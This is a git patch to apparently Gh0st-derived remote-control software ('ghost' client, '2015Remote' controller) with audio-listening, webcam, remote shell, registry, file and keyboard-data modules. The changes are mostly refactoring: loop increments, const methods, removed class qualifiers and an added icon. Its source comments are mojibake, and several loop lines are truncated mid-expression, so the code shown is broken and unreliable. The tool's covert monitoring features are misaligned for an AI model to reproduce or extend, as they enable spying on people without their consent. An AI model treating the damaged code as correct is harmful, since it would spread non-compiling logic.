From b573baed0bb4fa8000cf97a3cef470c39d459b70 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 18 Jan 2019 17:37:15 +0800 Subject: [PATCH] =?UTF-8?q?=E5=8F=91=E5=B8=83V1.0.0.2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ReadMe.txt | 8 +++++++- client/Audio.cpp | 19 +++++++++---------- client/Audio.h | 8 ++++---- client/AudioManager.cpp | 7 ++++--- client/AudioManager.h | 2 +- client/Buffer.cpp | 6 +++--- client/Buffer.h | 6 +++--- client/CaptureVideo.h | 18 +++++++++--------- client/IOCPClient.cpp | 2 +- client/IOCPClient.h | 2 +- client/KernelManager.cpp | 2 +- client/LoginServer.cpp | 2 +- client/RegisterManager.h | 2 +- client/RegisterOperation.h | 6 +++--- client/Res/msg.ico | Bin 0 -> 9662 bytes client/Script.rc | 8 ++++---- client/ServicesManager.cpp | 2 +- client/ServicesManager.h | 6 +++--- client/ShellManager.h | 2 +- client/SystemManager.h | 16 ++++++++-------- client/TalkManager.cpp | 4 +++- client/VideoManager.h | 10 +++++----- client/ghost.vcxproj | 1 + client/ghost.vcxproj.filters | 3 +++ client/resource.h | 4 +++- server/2015Remote/2015Remote.rc | Bin 48874 -> 48874 bytes server/2015Remote/2015RemoteDlg.cpp | 12 ++++++------ server/2015Remote/2015RemoteDlg.h | 24 ++++++++++++------------ server/2015Remote/Audio.cpp | 16 ++++++++-------- server/2015Remote/Audio.h | 8 ++++---- server/2015Remote/BuildDlg.cpp | 2 +- server/2015Remote/FileManagerDlg.cpp | 10 +++++----- server/2015Remote/IOCPServer.cpp | 2 +- server/2015Remote/RegisterDlg.cpp | 4 ++-- server/2015Remote/RegisterDlg.h | 10 +++++----- server/2015Remote/ScreenSpyDlg.h | 20 ++++++++++---------- server/2015Remote/ServicesDlg.cpp | 2 +- server/2015Remote/ServicesDlg.h | 6 +++--- server/2015Remote/ShellDlg.h | 4 ++-- server/2015Remote/SystemDlg.cpp | 4 ++-- server/2015Remote/SystemDlg.h | 10 +++++----- server/2015Remote/TrueColorToolBar.cpp | 2 +- server/2015Remote/VideoDlg.h | 8 ++++---- 43 files changed, 152 insertions(+), 138 deletions(-) create mode 100644 client/Res/msg.ico diff --git a/ReadMe.txt b/ReadMe.txt index d0def57..43eda75 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -102,4 +102,10 @@ 2、修复被控端屏幕被缩放显示时远程桌面跟踪鼠标的位置不准的问题。 -3、修复语音监听的问题,2个事件CAudio修改为"Manual Reset"。 +3、修复语音监听的问题,2个事件CAudio修改为非"Manual Reset"。 + +2019.1.18 + +1、整理部分垃圾代码。 + +2、发布V1.0.0.2。 diff --git a/client/Audio.cpp b/client/Audio.cpp index b60a03e..e657fcb 100644 --- a/client/Audio.cpp +++ b/client/Audio.cpp @@ -34,8 +34,7 @@ CAudio::CAudio() m_ulBufferLength = 1000; - int i = 0; - for (i = 0; i < 2; i++) + for (int i = 0; i < 2; ++i) { m_InAudioData[i] = new BYTE[m_ulBufferLength]; m_InAudioHeader[i] = new WAVEHDR; @@ -66,7 +65,7 @@ CAudio::~CAudio() { waveInStop(m_hWaveIn); waveInReset(m_hWaveIn); - for (int i = 0; i < 2; i++) + for (int i = 0; i < 2; ++i) waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR)); waveInClose(m_hWaveIn); @@ -77,7 +76,7 @@ CAudio::~CAudio() m_Thread = NULL; } - for (int i = 0; i < 2; i++) + for (int i = 0; i < 2; ++i) { delete [] m_InAudioData[i]; m_InAudioData[i] = NULL; @@ -88,12 +87,12 @@ CAudio::~CAudio() if (m_bIsWaveOutUsed) { waveOutReset(m_hWaveOut); - for (int i = 0; i < 2; i++) + for (int i = 0; i < 2; ++i) waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR)); waveOutClose(m_hWaveOut); } - for (int i = 0; i < 2; i++) + for (int i = 0; i < 2; ++i) { delete [] m_OutAudioData[i]; m_OutAudioData[i] = NULL; @@ -122,7 +121,7 @@ BOOL CAudio::InitializeWaveIn() } //¼豸 Ҫ - for (int i=0; i<2; i++) + for (int i=0; i<2; ++i) { m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; @@ -218,8 +217,8 @@ BOOL CAudio::InitializeWaveOut() { if (!waveOutGetNumDevs()) return FALSE; - int i; - for (i = 0; i < 2; i++) + + for (int i = 0; i < 2; ++i) memset(m_OutAudioData[i], 0, m_ulBufferLength); // MMRESULT mmResult; @@ -227,7 +226,7 @@ BOOL CAudio::InitializeWaveOut() if (mmResult != MMSYSERR_NOERROR) return false; - for (i = 0; i < 2; i++) + for (int i = 0; i < 2; ++i) { m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i]; m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; diff --git a/client/Audio.h b/client/Audio.h index 19eb955..c152fb8 100644 --- a/client/Audio.h +++ b/client/Audio.h @@ -28,8 +28,8 @@ public: bool m_hThreadCallBack; HANDLE m_Thread;// waveInCallBack߳ static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض - LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); - BOOL CAudio::InitializeWaveIn(); + LPBYTE GetRecordBuffer(LPDWORD dwBufferSize); + BOOL InitializeWaveIn(); BOOL m_bIsWaveInUsed; HWAVEOUT m_hWaveOut; @@ -38,8 +38,8 @@ public: DWORD m_nWaveOutIndex; LPWAVEHDR m_OutAudioHeader[2]; //ͷ LPBYTE m_OutAudioData[2]; // - BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); - BOOL CAudio::InitializeWaveOut(); + BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); + BOOL InitializeWaveOut(); }; #endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp index 3957f21..342edc4 100644 --- a/client/AudioManager.cpp +++ b/client/AudioManager.cpp @@ -59,7 +59,8 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) // CAudioManager *This = (CAudioManager *)lParam; while (This->m_bIsWorking) { - This->SendRecordBuffer(); + if(!This->SendRecordBuffer()) + Sleep(50); } cout<<"CAudioManager WorkThread end\n"; @@ -67,10 +68,10 @@ DWORD CAudioManager::WorkThread(LPVOID lParam) // return 0; } -int CAudioManager::SendRecordBuffer() +BOOL CAudioManager::SendRecordBuffer() { DWORD dwBufferSize = 0; - DWORD dwReturn = 0; + BOOL dwReturn = 0; //õ Ƶ LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize); if (szBuffer == NULL) diff --git a/client/AudioManager.h b/client/AudioManager.h index b7d9bfb..c6b402b 100644 --- a/client/AudioManager.h +++ b/client/AudioManager.h @@ -23,7 +23,7 @@ public: BOOL m_bIsWorking; HANDLE m_hWorkThread; static DWORD WorkThread(LPVOID lParam); - int CAudioManager::SendRecordBuffer(); + BOOL SendRecordBuffer(); CAudio* m_AudioObject; }; diff --git a/client/Buffer.cpp b/client/Buffer.cpp index 4a6b3c1..44b72bf 100644 --- a/client/Buffer.cpp +++ b/client/Buffer.cpp @@ -135,7 +135,7 @@ VOID CBuffer::ClearBuffer() -ULONG CBuffer::GetBufferLength() //Чݳ +ULONG CBuffer::GetBufferLength() const //Чݳ { if (m_Base == NULL) return 0; @@ -144,12 +144,12 @@ ULONG CBuffer::GetBufferLength() // } -ULONG CBuffer::GetBufferMaxLength() +ULONG CBuffer::GetBufferMaxLength() const { return m_ulMaxLength; } -PBYTE CBuffer::GetBuffer(ULONG ulPos) +PBYTE CBuffer::GetBuffer(ULONG ulPos) const { if (m_Base==NULL) { diff --git a/client/Buffer.h b/client/Buffer.h index e1ea09a..cb732cb 100644 --- a/client/Buffer.h +++ b/client/Buffer.h @@ -8,14 +8,14 @@ public: CBuffer(void); ~CBuffer(void); - ULONG GetBufferMaxLength(); + ULONG GetBufferMaxLength() const; ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); - ULONG GetBufferLength(); //Чݳ; + ULONG GetBufferLength() const; //Чݳ ULONG DeAllocateBuffer(ULONG ulLength); VOID ClearBuffer(); ULONG ReAllocateBuffer(ULONG ulLength); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); - PBYTE GetBuffer(ULONG ulPos=0); + PBYTE GetBuffer(ULONG ulPos=0) const; protected: PBYTE m_Base; diff --git a/client/CaptureVideo.h b/client/CaptureVideo.h index 5a3750a..bd7a106 100644 --- a/client/CaptureVideo.h +++ b/client/CaptureVideo.h @@ -158,12 +158,12 @@ class CCaptureVideo public: CCaptureVideo(); virtual ~CCaptureVideo(); - LPBITMAPINFO CCaptureVideo::GetBmpInfor(); - HRESULT CCaptureVideo::InitCaptureGraphBuilder(); - HRESULT CCaptureVideo::Open(int iDeviceID,int iPress); - BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter); + LPBITMAPINFO GetBmpInfor(); + HRESULT InitCaptureGraphBuilder(); + HRESULT Open(int iDeviceID,int iPress); + BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter); - LPBYTE CCaptureVideo::GetDIB(DWORD& dwSize); + LPBYTE GetDIB(DWORD& dwSize); HWND m_hWnd; @@ -176,10 +176,10 @@ public: IBaseFilter* m_pBF; //FDO ISampleGrabber* m_pGrabber; // 24Color - void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt); - void CCaptureVideo::ResizeVideoWindow(); - HRESULT CCaptureVideo::SetupVideoWindow(); - void CCaptureVideo::SendEnd(); + void FreeMediaType(AM_MEDIA_TYPE& mt); + void ResizeVideoWindow(); + HRESULT SetupVideoWindow(); + void SendEnd(); }; #endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_) diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index abaeaa2..d8d13ea 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -266,7 +266,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) } -int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello +BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello { AUTO_TICK(10); assert (ulOriginalLength > 0); diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 776bbcd..becbae2 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -38,7 +38,7 @@ public: static DWORD WINAPI WorkThreadProc(LPVOID lParam); VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength); - int OnServerSending(const char* szBuffer, ULONG ulOriginalLength); + BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength); BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength); BOOL IsRunning() const diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index de7ad06..7cbb705 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -18,7 +18,7 @@ CKernelManager::~CKernelManager() { printf("~CKernelManager begin\n"); int i = 0; - for (i=0;i<0x1000;i++) + for (i=0;i<0x1000;++i) { if (m_hThread->h!=0) { diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 741d219..29dbe10 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -56,7 +56,7 @@ BOOL WebCamIsExist() BOOL bOk = FALSE; char szDeviceName[100], szVer[50]; - for (int i = 0; i < 10 && !bOk; i++) + for (int i = 0; i < 10 && !bOk; ++i) { bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), //ϵͳAPI diff --git a/client/RegisterManager.h b/client/RegisterManager.h index cc65dbe..f5240d6 100644 --- a/client/RegisterManager.h +++ b/client/RegisterManager.h @@ -18,7 +18,7 @@ public: CRegisterManager(IOCPClient* ClientObject, int n); virtual ~CRegisterManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - VOID CRegisterManager::Find(char bToken, char *szPath); + VOID Find(char bToken, char *szPath); }; #endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_) diff --git a/client/RegisterOperation.h b/client/RegisterOperation.h index c4f1f50..85e0124 100644 --- a/client/RegisterOperation.h +++ b/client/RegisterOperation.h @@ -14,11 +14,11 @@ class RegisterOperation public: RegisterOperation(char bToken); virtual ~RegisterOperation(); - char* RegisterOperation::FindPath(); + char* FindPath(); HKEY MKEY; char KeyPath[MAX_PATH]; - void RegisterOperation::SetPath(char *szPath); - char* RegisterOperation::FindKey(); + void SetPath(char *szPath); + char* FindKey(); }; #endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_) diff --git a/client/Res/msg.ico b/client/Res/msg.ico new file mode 100644 index 0000000000000000000000000000000000000000..b45ae418a2f53e6e9461124ae55f3bc44e5a8ef1 GIT binary patch literal 9662 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 + diff --git a/client/ghost.vcxproj.filters b/client/ghost.vcxproj.filters index df17464..13ffc0d 100644 --- a/client/ghost.vcxproj.filters +++ b/client/ghost.vcxproj.filters @@ -178,5 +178,8 @@ 资源文件 + + 资源文件 + \ No newline at end of file diff --git a/client/resource.h b/client/resource.h index b801e4c..f0b6936 100644 --- a/client/resource.h +++ b/client/resource.h @@ -6,13 +6,15 @@ #define IDR_WAVE 102 #define IDI_ICON1 104 #define IDI_ICON_MAIN 104 +#define IDI_ICON2 105 +#define IDI_ICON_MSG 105 #define IDC_EDIT_MESSAGE 1000 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 105 +#define _APS_NEXT_RESOURCE_VALUE 106 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index ebbeda74a4b28ebdd7288a3e1e4650e5f357a138..d19591f85e5b485533898a378c210d8c49bd79b0 100644 GIT binary patch delta 27 jcmaF$m+94CrVSfH8I3k?3>9Q%G@2|Jp}YA*#IIBUwq*=H delta 29 ncmV+&0OJ4Z{Q~O!0eRg diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a1db7b7..bf17878 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -302,7 +302,7 @@ VOID CMy2015RemoteDlg::InitControl() rect.bottom+=20; MoveWindow(rect); - for (int i = 0;iGetMenuItemCount(); if (m_CList_Online.GetSelectedCount() == 0) //ûѡ { - for (int i = 0;iEnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //˵ȫ } @@ -669,7 +669,7 @@ void CMy2015RemoteDlg::OnOnlineDelete() int iCount = m_CList_Online.GetSelectedCount(); int i = 0; - for (i=0;ilpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength; @@ -214,7 +214,7 @@ BOOL CAudio::InitializeWaveOut() if (!waveOutGetNumDevs()) return FALSE; int i; - for (i = 0; i < 2; i++) + for (i = 0; i < 2; ++i) memset(m_OutAudioData[i], 0, m_ulBufferLength); // MMRESULT mmResult; @@ -222,7 +222,7 @@ BOOL CAudio::InitializeWaveOut() if (mmResult != MMSYSERR_NOERROR) return false; - for (i = 0; i < 2; i++) + for (i = 0; i < 2; ++i) { m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i]; m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; diff --git a/server/2015Remote/Audio.h b/server/2015Remote/Audio.h index c49020f..0f9d32d 100644 --- a/server/2015Remote/Audio.h +++ b/server/2015Remote/Audio.h @@ -27,8 +27,8 @@ public: DWORD m_nWaveInIndex; bool m_hThreadCallBack; static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض - LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); - BOOL CAudio::InitializeWaveIn(); + LPBYTE GetRecordBuffer(LPDWORD dwBufferSize); + BOOL InitializeWaveIn(); BOOL m_bIsWaveInUsed; HWAVEOUT m_hWaveOut; @@ -37,8 +37,8 @@ public: DWORD m_nWaveOutIndex; LPWAVEHDR m_OutAudioHeader[2]; //ͷ LPBYTE m_OutAudioData[2]; // - BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); - BOOL CAudio::InitializeWaveOut(); + BOOL PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); + BOOL InitializeWaveOut(); }; #endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index ffdbc7f..723e1b6 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -125,7 +125,7 @@ int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeyS { return -1; } - for (i = 0; i < iBufferSize; i++) + for (i = 0; i < iBufferSize; ++i) { for (j = 0; j < iKeySize; j ++) if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12 diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index e6718d2..ac41e19 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -448,7 +448,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) ); // i Ϊ 0 ʱĿ¼i Ϊ 1ʱļ - for (int i = 0; i < 2; i++) + for (int i = 0; i < 2; ++i) { CFileFind file; BOOL bContinue; @@ -1056,7 +1056,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) if (dwBufferLen != 0) { // - for (int i = 0; i < 2; i++) + for (int i = 0; i < 2; ++i) { // Token5ֽ char *pList = (char *)(pbBuffer + 1); @@ -1767,7 +1767,7 @@ void CFileManagerDlg::WriteLocalRecvFile() SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); int nRet = 0, i = 0; - for (; i < MAX_WRITE_RETRY; i++) + for (; i < MAX_WRITE_RETRY; ++i) { // дļ nRet = WriteFile @@ -2337,7 +2337,7 @@ void CFileManagerDlg::OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult) if (pListCtrl->GetSelectedCount() == 0) { int count = pM->GetMenuItemCount(); - for (int i = 0; i < count; i++) + for (int i = 0; i < count; ++i) { pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); } @@ -2377,7 +2377,7 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult) if (pListCtrl->GetSelectedCount() == 0) { int count = pM->GetMenuItemCount(); - for (int i = 0; i < count; i++) + for (int i = 0; i < count; ++i) { pM->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); } diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index ec09a52..6716c40 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -271,7 +271,7 @@ BOOL IOCPServer::InitializeIOCP(VOID) ULONG ulWorkThreadCount = m_ulThreadPoolMax; HANDLE hWorkThread = NULL; - for (int i=0; i0&&count>0){ //һ㱣ʩ - for(int i=0;iInDeCompressedBuffer.GetBufferLength() - 1; i++) + for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) { szDisplayName = szBuffer + dwOffset; szServiceName = szDisplayName + lstrlen(szDisplayName) +1; diff --git a/server/2015Remote/ServicesDlg.h b/server/2015Remote/ServicesDlg.h index 064e444..65a6359 100644 --- a/server/2015Remote/ServicesDlg.h +++ b/server/2015Remote/ServicesDlg.h @@ -14,9 +14,9 @@ public: virtual ~CServicesDlg(); CONTEXT_OBJECT* m_ContextObject; IOCPServer* m_iocpServer; - int CServicesDlg::ShowServicesList(void); - void CServicesDlg::OnReceiveComplete(void); - void CServicesDlg::ServicesConfig(BYTE bCmd); + int ShowServicesList(void); + void OnReceiveComplete(void); + void ServicesConfig(BYTE bCmd); // Ի enum { IDD = IDD_DIALOG_SERVICES }; diff --git a/server/2015Remote/ShellDlg.h b/server/2015Remote/ShellDlg.h index a9dbcef..d3f5a41 100644 --- a/server/2015Remote/ShellDlg.h +++ b/server/2015Remote/ShellDlg.h @@ -13,10 +13,10 @@ public: virtual ~CShellDlg(); CONTEXT_OBJECT* m_ContextObject; IOCPServer* m_iocpServer; - VOID CShellDlg::OnReceiveComplete(); + VOID OnReceiveComplete(); HICON m_hIcon; UINT m_nReceiveLength; - VOID CShellDlg::AddKeyBoardData(void); + VOID AddKeyBoardData(void); UINT m_nCurSel; //õǰλ; // Ի diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 9fda99c..285c38c 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -98,7 +98,7 @@ void CSystemDlg::ShowWindowsList(void) m_ControlList.DeleteAllItems(); CString str; int i ; - for ( i = 0; dwOffset InDeCompressedBuffer.GetBufferLength() - 1; i++) + for ( i = 0; dwOffset InDeCompressedBuffer.GetBufferLength() - 1; ++i) { LPDWORD lpPID = LPDWORD(szBuffer + dwOffset); //ھ szTitle = (char *)szBuffer + dwOffset + sizeof(DWORD); //ڱ @@ -128,7 +128,7 @@ void CSystemDlg::ShowProcessList(void) m_ControlList.DeleteAllItems(); //ÿһַݽṹ Id++0++0 int i; - for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; i++) + for (i = 0; dwOffset < m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; ++i) { LPDWORD PID = LPDWORD(szBuffer + dwOffset); //õID szExeFile = szBuffer + dwOffset + sizeof(DWORD); //ID֮ diff --git a/server/2015Remote/SystemDlg.h b/server/2015Remote/SystemDlg.h index 9c0f5b1..6349547 100644 --- a/server/2015Remote/SystemDlg.h +++ b/server/2015Remote/SystemDlg.h @@ -13,11 +13,11 @@ public: virtual ~CSystemDlg(); CONTEXT_OBJECT* m_ContextObject; IOCPServer* m_iocpServer; - VOID CSystemDlg::GetProcessList(void); - VOID CSystemDlg::ShowProcessList(void); - void CSystemDlg::ShowWindowsList(void); - void CSystemDlg::GetWindowsList(void); - void CSystemDlg::OnReceiveComplete(void); + VOID GetProcessList(void); + VOID ShowProcessList(void); + void ShowWindowsList(void); + void GetWindowsList(void); + void OnReceiveComplete(void); BOOL m_bHow; // Ի enum { IDD = IDD_DIALOG_SYSTEM }; diff --git a/server/2015Remote/TrueColorToolBar.cpp b/server/2015Remote/TrueColorToolBar.cpp index 8a8df14..98cf097 100644 --- a/server/2015Remote/TrueColorToolBar.cpp +++ b/server/2015Remote/TrueColorToolBar.cpp @@ -118,7 +118,7 @@ void CTrueColorToolBar::AddDropDownButton(CWnd* pParent, UINT uButtonID, UINT uM void CTrueColorToolBar::OnToolbarDropDown(NMHDR* pnmh, LRESULT *plr) { 